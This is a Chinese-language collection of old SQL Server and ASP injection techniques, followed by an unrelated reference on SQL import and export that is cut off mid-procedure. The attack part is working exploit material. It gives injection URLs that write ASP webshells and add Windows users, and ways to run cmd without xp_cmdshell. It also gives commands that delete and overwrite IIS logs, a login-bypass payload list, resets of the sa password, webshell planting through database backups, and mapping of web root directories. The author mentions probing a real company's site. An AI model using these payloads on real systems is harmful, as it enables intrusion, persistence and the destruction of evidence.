脚本注射的一些资料

 
一些有用的ASP注入相关的命令
1、 http://192.168.1.5/display.asp?keyno=1881;exec&n ... mdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:/mu.asp';--
用^转义字符来写ASP文件的方法。

2、 http://192.168.1.5/display.asp?keyno=188&nb ... lect @@VERSION)
显示SQL系统版本:
Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/display.asp,行17
3、我在检测索尼中国的网站漏洞时,分明已经确定了漏洞存在却无法在这三种漏洞中找到对应的类型。偶然间我想到了在SQL语言中可以使用"in"关键字进行查询,例如"select * from mytable where id in(1)",括号中的值就是我们提交的数据,它的结果与使用"select * from mytable where id=1"的查询结果完全相同。所以访问页面的时候在URL后面加上") and 1=1 and 1 in(1"后原来的SQL语句就变成了"select * from mytable where id in(1) and 1=1 and 1 in(1)",这样就会出现期待已久的页面了。暂且就叫这种类型的漏洞为"包含数字型"吧,聪明的你一定想到了还有"包含字符型"呢。对了,它就是由于类似"select * from mytable where name in('firstsee')"的查询语句造成的。

4、 http://192.168.1.5/display.asp?keyno=1 ... p;1=(select count(*) FROM master.dbo.sysobjects where xtype = 'X' AND name = 'xp_cmdshell')
判断xp_cmdshell扩展存储过程是否存在。

5、 http://192.168.1.5/display.asp?keyno=188;EXEC%20master ... p;#39;HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Run','help1','REG_SZ','cmd.exe%20/c%20net user test ptlove /add'
向启动组中写入命令行和执行程序

6、 http://192.168.1.5/display.asp?key ... 200<>db_name()
查看当前的数据库名称Microsoft VBScript 编译器错误 错误 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int.
/display.asp,行17
7、 列出当前所有的数据库名称:select * from master.dbo.sysdatabases

8、 不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令:
create TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:/>c:/temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

drop TABLE MYTMP

----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:/Inetpub/AdminScripts/adsutil.vbs set /W3SVC/InProcessIsapiApps "C:/WINNT/system32/idq.dll" "C:/WINNT/system32/inetsrv/httpext.dll" "C:/WINNT/system32/inetsrv/httpodbc.dll" "C:/WINNT/system32/inetsrv/ssinc.dll" "C:/WINNT/system32/msw3prt.dll" "C:/winnt/system32/inetsrv/asp.dll">c:/temp.txt','0','true'
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
insert INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

以下是一行里面将WEB用户加到管理员组中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:/Inetpub/AdminScripts/adsutil.vbs set /W3SVC/InProcessIsapiApps "C:/WINNT/system32/idq.dll" "C:/WINNT/system32/inetsrv/httpext.dll" "C:/WINNT/system32/inetsrv/httpodbc.dll" "C:/WINNT/system32/inetsrv/ssinc.dll" "C:/WINNT/system32/msw3prt.dll" "C:/winnt/system32/inetsrv/asp.dll">c:/temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

以下是一行中执行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:/bjeea.net.cn/score/fts/images/iis.vbs lh1 c:/>c:/temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

SQL下两种执行CMD命令的方法:

先删除7.18号日志:
(1)exec master.dbo.xp_cmdshell 'del C:/winnt/system32/logfiles/W3SVC5/ex050718.log >c:/temp.txt'
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:/winnt/system32/logfiles/W3SVC5/ex050718.log >c:/temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

再考贝一个其它文件来代替7.18日文件:
(1)exec master.dbo.xp_cmdshell 'copy C:/winnt/system32/logfiles/W3SVC5/ex050716.log C:/winnt/system32/logfiles/W3SVC5/ex050718.log>c:/temp.txt'
(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:/winnt/system32/logfiles/W3SVC5/ex050716.log C:/winnt/system32/logfiles/W3SVC5/ex050718.log>c:/temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out insert INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

9、 用update来更新表中的数据:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set p ... #39; where username='www';--
www用户密码的MD5值为:AAABBBCCCDDDEEEF,即把密码改成1;

10、 利用表内容导成文件功能
SQL有BCP命令,它可以把表的内容导成文本文件并放到指定位置。利用这项功能,我们可以先建一张临时表,然后在表中一行一行地输入一个ASP木马,然后用BCP命令导出形成ASP文件。
命令行格式如下:
bcp "select * from temp " queryout c:/inetpub/wwwroot/runcommand.asp –c –S localhost –U sa –P upload('S'参数为执行查询的服务器,'U'参数为用户名,'P'参数为密码,最终上传了一个runcommand.asp的木马)。

10、创建表、播入数据和读取数据的方法
 创建表:
' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--
 往表里播入数据:
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status>0,@result output insert into cyfd (gyfd) values(@result);--
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM/CONTROLSet001/Services/W3SVC/Parameters/Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
 从表里读取数据:
' and 1=(select count(*) from cyfd where gyfd >1)--

 删除临时表:
';drop table cyfd;--

12、通过SQL语句直接更改sa的密码:
 update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,这样sa的密码就被我们改成了111111拉。呵呵,解决的方法就是把sa给删拉。,怎么删可以参考我的《完全删除sa这个后门》。

 查看本机所有的数据库用户名:
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins

 更改sa口令方法:用sql综合利用工具连接后,执行命令:
exec sp_password NULL,'新密码','sa'

13、查询dvbbs库中所有的表名和表结构
 select * from dvbbs.dbo.sysobjects where xtype='U' and status>0
 select * from dvbbs.dbo.syscolumns where id=1426104121

14、手工备份当前数据库
完全备份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT--
差异备份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT—

15、添加和删除一个SA权限的用户test
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

cmd.exe /c isql -E /U alma /P /i K:/test.qry

16、select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0
就可以列出库ChouYFD中所有的用户建立的表名。
select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status>0

17、
http://www.test.cn/zgrdw/common/image_view.jsp?sqlstr=select%20*%20from%20rdweb.dbo.syscolumns (where id=1234)
列出rdweb库中所有表中的字段名称
 select * from dvbbs.dbo.syscolumns where id=5575058
列出库dvbbs中表id=5575058的所有字段名

18、删除记录命令:delete from Dv_topic where boardid=5 and topicid=7978

19、绕过登录验证进入后台的方法整理:
1)' or''='
2) ' or 1=1--
3) ' or 'a'='a--
4) 'or'='or'
5) " or 1=1--
6)or 1=1--
7) or 'a='a
8)" or "a"="a
9) ') or ('a'='a
10) ") or ("a"="a
11) ) or (1=1

20、查看WEB网站安装目录命令:
 cscript c:/inetpub/adminscripts/adsutil.vbs enum w3svc/2/root >c:/test1.txt
type c:/test1.txt
del c:/test1.txt
在NBSI下可以直接显示运行结果,所以不用导出到文件
db_owner权限得到webshell我的两点改进
减少备份文件大小,得到可执行的webshell成功率提高不少
一利用差异备份
加一个参数WITH DIFFERENTIAL
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s

create table [dbo].[xiaolu] ([cmd] [image]);

insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

二利用完全FORMAT
加一个参数WITH FROMAT
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s

create table [dbo].[xiaolu] ([cmd] [image]);

insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)

declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT

总的来说就是那么简单几句,下面以备份数据库model为例子
1
id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>')
2
id=1;backup database model to disk='你的路径‘ with differential,format;--
快速获得WEB根目录的技巧
本文章针对以下环境,如果不符合以下的条件,就不适合用下面提到的方法来获得WEB根目录。

1、SQL SERVER允许执行多行语句;
2、该网站能进行注入;
3、没有返回详细的错误提示信息(否则没有必要用这种方法)。

根据经验,猜疑WEB根目录的顺序是:d盘、e盘、c盘,首先我们建立一个临时表用于存放master..xp_dirtree(适合于public)生成的目录树,用以下语句:
;create table temp(dir nvarchar(255),depth varchar(255));--,该表的dir字段表示目录的名称,depth字段表示目录的深度。然后执行xp_dirtree获得D盘的目录树,语句如下:
;insert temp(dir,depth) exec master.dbo.xp_dirtree &apos;d:&apos;;--

在进行下面的操作前,先查看D盘有几个文件夹,这样对D盘有个大致的了解,语句如下:
and (select count(*) from temp where depth=1 and dir not in(&apos;Documents and Settings&apos;,&apos;Program Files&apos;,&apos;RECYCLER&apos;,&apos;System Volume

Information&apos;,&apos;WINDOWS&apos;,&apos;CAConfig&apos;,&apos;wmpub&apos;,&apos;Microsoft UAM 卷&apos;))>=数字(数字=0、1、2、3...)

接着,我们在对方的网站上找几个一级子目录,如user、photo,然后,用筛选的方法来判断WEB根目录上是否存在此盘上,语句如下:
and (select count(*) from temp where dir<>&apos;user&apos;)<(select count(*) from temp)

看语句的返回结果,如果为真,表示WEB根目录有可能在此盘上,为了进一步确认,多测试几个子目录:
and (select count(*) from temp where dir<>&apos;photo&apos;)<(select count(*) from temp)

...

如果所有的测试结果都为真,表示WEB根目录很有可能在此盘上。

下面假设找到的WEB根目录在此盘上,用以下的语句来获得一级子目录的深度:
and (select depth from temp where dir=&apos;user&apos;)>=数字(数字=1、2、3...)

假设得到的depth是3,说明user目录是D盘的3级目录,则WEB根目录是D盘的二级目录。

目前我们已经知道了根目录所在的盘符和深度,要找到根目录的具体位置,我们来从D盘根目录开始逐一搜寻,当然,没有必要知道每个目录的名称,否则太耗费时间了。

接下来,另外建立一个临时表,用来存放D盘的1级子目录下的所有目录,语句如下:

;create table temp1(dir nvarchar(255),depth varchar(255));--

然后把从D盘的第一个子目录下的所有目录存到temp1中,语句如下:
declare @dirname varchar(255);set @dirname=&apos;d:/&apos;+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in(&apos;Documents and Settings&apos;,&apos;Program Files&apos;,&apos;RECYCLER&apos;,&apos;System Volume

Information&apos;,&apos;WINDOWS&apos;,&apos;CAConfig&apos;,&apos;wmpub&apos;,&apos;Microsoft UAM 卷&apos;) order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
当然也可以把D盘的第二个子目录下的所有目录存到temp1中,只需把第二个top 1改为top 2就行了。

现在,temp1中已经保存了所有D盘第一级子目录下的所有目录,然后,我们用同样的方法来判断根目录是否在此一级子目录下:
and (select count(*) from temp1 where dir<>&apos;user&apos;)<(select count(*) from temp1)
如果返回为真,表示根目录可能在此子目录下,记住要多测试几个例子,如果都返回为假,则表明WEB根目录不在此目录下,然后我们在用同样的方法来获得D盘第 2、3...个子目录下的所有目录列表,来判断WEB根目录是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的内容删除。

现在假设,WEB根目录在D盘的第一级子目录下,该子目录名称为website,怎样获得这个目录的名称我想不用我说了吧。因为前面我们知道了WEB根目录的深度为2,我们需要知道website下到底哪个才是真正的WEB根目录。

现在,我们用同样的方法,再建立第3个临时表:
;create table temp2(dir nvarchar(255),depth varchar(255));--

然后把从D盘的website下的所有目录存到temp2中,语句如下:
declare @dirname varchar(255);set @dirname=&apos;d:/website/&apos;+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in(&apos;Documents and Settings&apos;,&apos;Program Files&apos;,&apos;RECYCLER&apos;,&apos;System Volume

Information&apos;,&apos;WINDOWS&apos;,&apos;CAConfig&apos;,&apos;wmpub&apos;,&apos;Microsoft UAM 卷&apos;) order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
当然也可以把D盘的website下第二个子目录下的所有目录存到temp2中,只需把第二个top 1改为top 2就行了。

现在,我们用同样的方法判断该目录是否为根目录:
and (select count(*) from temp2 where dir<>&apos;user&apos;)<(select count(*) from temp2)
如果返回为真,为了确定我们的判断,多测试几个例子,方法上面都讲到了,如果多个例子都返回为真,那么就确定了该目录为WEB根目录。

用以上的方法基本上可以获得WEB根目录,现在我们假设WEB根目录是:D:/website/www
然后,我们就可以备份当前数据库到这个目录下用来下载。备份前我们把temp、temp1、temp2的内容清空,然后C、D、E盘的目录树分别存到temp、temp1、temp2中。

下载完数据库后要记得把三个临时表DROP掉,现在我们在下载的数据库中可以找到所有的目录列表,包括后台管理的目录以及更多信息。
不需xp_cmdshell支持运行CMD命令
我的BLOG里有一篇文章介绍了关于SQL注入的基本原理和一些方法。最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句:

EXEC master.dbo.xp_cmdshell 'dir c:/'

但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。

对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服务器上的Wscript.shell和 Scripting.FileSystemObject可用。
sp_OACreate
在 Microsoft® SQL Server™ 实例上创建 OLE 对象实例。
语法
sp_OACreate progid, | clsid,
objecttoken OUTPUT
[ , context ]
sp_OAGetProperty
获取 OLE 对象的属性值。
语法
sp_OAGetProperty objecttoken,
propertyname
[, propertyvalue OUTPUT]
[, index...]
sp_OAMethod
调用 OLE 对象的方法。
语法
sp_OAMethod objecttoken,
methodname
[, returnvalue OUTPUT]
[ , [ @parametername = ] parameter [ OUTPUT ]
[...n]]

思路:
先在SQL Server 上建立一个Wscript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个Scripting.FileSystemObject,通过它建立一个 TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。

以下是相应的SQL语句

CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:/>c:/temp.txt','0','true'
--注意run的参数true指的是将等待程序运行的结果,对于类似ping的长时间命令必需使用此参数。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt'
--因为fso的opentextfile方法将返回一个textstream对象,所以此时@file是一个对象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP

注意:
如果你在进行注入测试时使用这种方法就不能有这样多的换行,必须把它们合为一行,每个语句中间用空格符隔开
SQL语句导入导出大全
/******* 导出到excel
EXEC master..xp_cmdshell ’bcp SettleDB.dbo.shanghu out c:/temp1.xls -c -q -S"GNETDATA/GNETDATA" -U"sa" -P""’

/*********** 导入Excel
SELECT *
FROM OpenDataSource( ’Microsoft.Jet.OLEDB.4.0’,
’Data Source="c:/test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0’)...xactions

SELECT cast(cast(科目编号 as numeric(10,2)) as nvarchar(255))+’ ’ 转换后的别名
FROM OpenDataSource( ’Microsoft.Jet.OLEDB.4.0’,
’Data Source="c:/test.xls";User ID=Admin;Password=;Extended properties=Excel 5.0’)...xactions

/** 导入文本文件
EXEC master..xp_cmdshell ’bcp "dbname..tablename" in c:/DT.txt -c -Sservername -Usa -Ppassword’

/** 导出文本文件
EXEC master..xp_cmdshell ’bcp "dbname..tablename" out c:/DT.txt -c -Sservername -Usa -Ppassword’

EXEC master..xp_cmdshell ’bcp "Select * from dbname..tablename" queryout c:/DT.txt -c -Sservername -Usa -Ppassword’

导出到TXT文本,用逗号分开
exec master..xp_cmdshell ’bcp "库名..表名" out "d:/tt.txt" -c -t ,-U sa -P password’

BULK INSERT 库名..表名
FROM ’c:/test.txt’
WITH (
FIELDTERMINATOR = ’;’,
ROWTERMINATOR = ’/n’
)

--/* dBase IV文件
select * from
OPENROWSET(’MICROSOFT.JET.OLEDB.4.0’
,’dBase IV;HDR=NO;IMEX=2;DATABASE=C:/’,’select * from [客户资料4.dbf]’)
--*/

--/* dBase III文件
select * from
OPENROWSET(’MICROSOFT.JET.OLEDB.4.0’
,’dBase III;HDR=NO;IMEX=2;DATABASE=C:/’,’select * from [客户资料3.dbf]’)
--*/

--/* FoxPro 数据库
select * from openrowset(’MSDASQL’,
’Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:/’,
’select * from [aa.DBF]’)
--*/

/**************导入DBF文件****************/
select * from openrowset(’MSDASQL’,
’Driver=Microsoft Visual FoxPro Driver;
SourceDB=e:/VFP98/data;
SourceType=DBF’,
’select * from customer where country != "USA" order by country’)
go
/***************** 导出到DBF ***************/
如果要导出数据到已经生成结构(即现存的)FOXPRO表中,可以直接用下面的SQL语句

insert into openrowset(’MSDASQL’,
’Driver=Microsoft Visual FoxPro Driver;SourceType=DBF;SourceDB=c:/’,
’select * from [aa.DBF]’)
select * from 表

说明:
SourceDB=c:/ 指定foxpro表所在的文件夹
aa.DBF 指定foxpro表的文件名.

/*************导出到Access********************/
insert into openrowset(’Microsoft.Jet.OLEDB.4.0’,
’x:/A.mdb’;’admin’;’’,A表) select * from 数据库名..B表

/*************导入Access********************/
insert into B表 selet * from openrowset(’Microsoft.Jet.OLEDB.4.0’,
’x:/A.mdb’;’admin’;’’,A表)

********************* 导入 xml 文件

DECLARE @idoc int
DECLARE @doc varchar(1000)
--sample XML document
SET @doc =’
<root>
<Customer cid= "C1" name="Janine" city="Issaquah">
<Order oid="O1" date="1/20/1996" amount="3.5" />
<Order oid="O2" date="4/30/1997" amount="13.4">Customer was very satisfied
</Order>
</Customer>
<Customer cid="C2" name="Ursula" city="Oelde" >
<Order oid="O3" date="7/14/1999" amount="100" note="Wrap it blue
white red">
<Urgency>Important</Urgency>
Happy Customer.
</Order>
<Order oid="O4" date="1/20/1996" amount="10000"/>
</Customer>
</root>

-- Create an internal representation of the XML document.
EXEC sp_xml_preparedocument @idoc OUTPUT, @doc

-- Execute a SELECT statement using OPENXML rowset provider.
SELECT *
FROM OPENXML (@idoc, ’/root/Customer/Order’, 1)
WITH (oid char(5),
amount float,
comment ntext ’text()’)
EXEC sp_xml_removedocument @idoc

/********************导整个数据库*********************************************/

用bcp实现的存储过程

/*
实现数据导入/导出的存储过程
根据不同的参数,可以实现导入/导出整个数据库/单个表
调用示例:
--导出调用示例
----导出单个表
exec file2table ’zj’,’’,’’,’xzkh_sa..地区资料’,’c:/zj.txt’,1
----导出整个数据库
exec file2table ’zj’,’’,’’,’xzkh_sa’,’C:/docman’,1

--导入调用示例
----导入单个表
exec file2table ’zj’,’’,’’,’xzkh_sa..地区资料’,’c:/zj.txt’,0
----导入整个数据库
exec file2table ’zj’,’’,’’,’xzkh_sa’,’C:/docman’,0

*/
if exists(select 1 from sysobjects where name=’File2Table’ and objectproperty(id,’IsProcedure’)=1)
drop procedure File2Table
go
create procedure File2Table
@servername varchar(200) --服务器名
,@username varchar(200) --用户名,如果用NT验证方式,则为空’’
,@password varchar(200) --密码
,@tbname varchar(500) --数据库.dbo.表名,如果不指定:.dbo.表名,则导出数据库的所有用户表
,@filename varchar(1000) --导入/导出路径/文件名,如果@tbname参数指明是导出整个数据库,则这个参数是文件存放路径,文件名自动用表名.txt
,@isout bit --1为导出,0为导入
as
declare @sql varchar(8000)

if @tbname like ’%.%.%’ --如果指定了表名,则直接导出单个表
begin
set @sql=’bcp ’+@tbname
+case when @isout=1 then ’ out ’ else ’ in ’ end
+’ "’+@filename+’" /w’
+’ /S ’+@servername
+case when isnull(@username,’’)=’’ then ’’ else ’ /U ’+@username end
+’ /P ’+isnull(@password,’’)
exec master..xp_cmdshell @sql
end
else
begin --导出整个数据库,定义游标,取出所有的用户表
declare @m_tbname varchar(250)
if right(@filename,1)<>’/’ set @filename=@filename+’/’

set @m_tbname=’declare #tb cursor for select name from ’+@tbname+’..sysobjects where xtype=’’U’’’
exec(@m_tbname)
open #tb
fetch next from #tb into @m_tbname
while @@fetch_status=0
begin
set @sql=’bcp ’+@tbname+’..’+@m_tbname
+case when @isout=1 then ’ out ’ else ’ in ’ end
+’ "’+@filename+@m_tbname+’.txt " /w’
+’ /S ’+@servername
+case when isnull(@username,’’)=’’ then ’’ else ’ /U ’+@username end
+’ /P ’+isnull(@password,’’)
exec master..xp_cmdshell @sql
fetch next from #tb into @m_tbname
end
close #tb
deallocate #tb
end
go

/**********************Excel导到Txt****************************************/
想用
select * into opendatasource(...) from opendatasource(...)
实现将一个Excel文件内容导入到一个文本文件

假设Excel中有两列,第一列为姓名,第二列为很行帐号(16位)
且银行帐号导出到文本文件后分两部分,前8位和后8位分开。

如果要用你上面的语句插入的话,文本文件必须存在,而且有一行:姓名,银行账号1,银行账号2
然后就可以用下面的语句进行插入
注意文件名和目录根据你的实际情况进行修改.

insert into
opendatasource(’MICROSOFT.JET.OLEDB.4.0’
,’Text;HDR=Yes;DATABASE=C:/’
)...[aa#txt]
--,aa#txt)
--*/
select 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8)
from
opendatasource(’MICROSOFT.JET.OLEDB.4.0’
,’Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:/a.xls’
--,Sheet1$)
)...[Sheet1$]

如果你想直接插入并生成文本文件,就要用bcp

declare @sql varchar(8000),@tbname varchar(50)

--首先将excel表内容导入到一个全局临时表
select @tbname=’[##temp’+cast(newid() as varchar(40))+’]’
,@sql=’select 姓名,银行账号1=left(银行账号,8),银行账号2=right(银行账号,8)
into ’+@tbname+’ from
opendatasource(’’MICROSOFT.JET.OLEDB.4.0’’
,’’Excel 5.0;HDR=YES;IMEX=2;DATABASE=c:/a.xls’’
)...[Sheet1$]’
exec(@sql)

--然后用bcp从全局临时表导出到文本文件
set @sql=’bcp "’+@tbname+’" out "c:/aa.txt" /S"(local)" /P"" /c’
exec master..xp_cmdshell @sql

--删除临时表
exec(’drop table ’+@tbname)

用bcp将文件导入导出到数据库的存储过程:

/*--bcp-二进制文件的导入导出

支持image,text,ntext字段的导入/导出
image适合于二进制文件;text,ntext适合于文本数据文件

注意:导入时,将覆盖满足条件的所有行
导出时,将把所有满足条件的行也出到指定文件中

此存储过程仅用bcp实现
邹建 2003.08-----------------*/

/*--调用示例
--数据导出
exec p_binaryIO ’zj’,’’,’’,’acc_演示数据..tb’,’img’,’c:/zj1.dat’

--数据导出
exec p_binaryIO ’zj’,’’,’’,’acc_演示数据..tb’,’img’,’c:/zj1.dat’,’’,0
--*/
if exists (select * from dbo.sysobjects where id = object_id(N’[dbo].[p_binaryIO]’) and OBJECTPROPERTY(id, N’IsProcedure’) = 1)
drop procedure [dbo].[p_binaryIO]
GO

Create proc p_binaryIO
@servename varchar (30),--服务器名称
@username varchar (30), --用户名
@password varchar (30), --密码
@tbname varchar (500), --数据库..表名
@fdname varchar (30), --字段名
@fname varchar (1000), --目录+文件名,处理过程中要使用/覆盖:@filename+.bak
@tj varchar (1000)=’’, --处理条件.对于数据导入,如果条件中包含@fdname,请指定表名前缀
@isout bit=1 --1导出((默认),0导入
AS
declare @fname_in varchar(1000) --bcp处理应答文件名
,@fsize varchar(20) --要处理的文件的大小
,@m_tbname varchar(50) --临时表名
,@sql varchar(8000)

--则取得导入文件的大小
if @isout=1
set @fsize=’0’
else
begin
create table #tb(可选名 varchar(20),大小 int
,创建日期 varchar(10),创建时间 varchar(20)
,上次写操作日期 varchar(10),上次写操作时间 varchar(20)
,上次访问日期 varchar(10),上次访问时间 varchar(20),特性 int)
insert into #tb
exec master..xp_getfiledetails @fname
select @fsize=大小 from #tb
drop table #tb
if @fsize is null
begin
print ’文件未找到’
return
end

end

--生成数据处理应答文件
set @m_tbname=’[##temp’+cast(newid() as varchar(40))+’]’
set @sql=’select * into ’+@m_tbname+’ from(
select null as 类型
union all select 0 as 前缀
union all select ’+@fsize+’ as 长度
union all select null as 结束
union all select null as 格式
) a’
exec(@sql)
select @fname_in=@fname+’_temp’
,@sql=’bcp "’+@m_tbname+’" out "’+@fname_in
+’" /S"’+@servename
+case when isnull(@username,’’)=’’ then ’’
else ’" /U"’+@username end
+’" /P"’+isnull(@password,’’)+’" /c’
exec master..xp_cmdshell @sql
--删除临时表
set @sql=’drop table ’+@m_tbname
exec(@sql)

if @isout=1
begin
set @sql=’bcp "select top 1 ’+@fdname+’ from ’
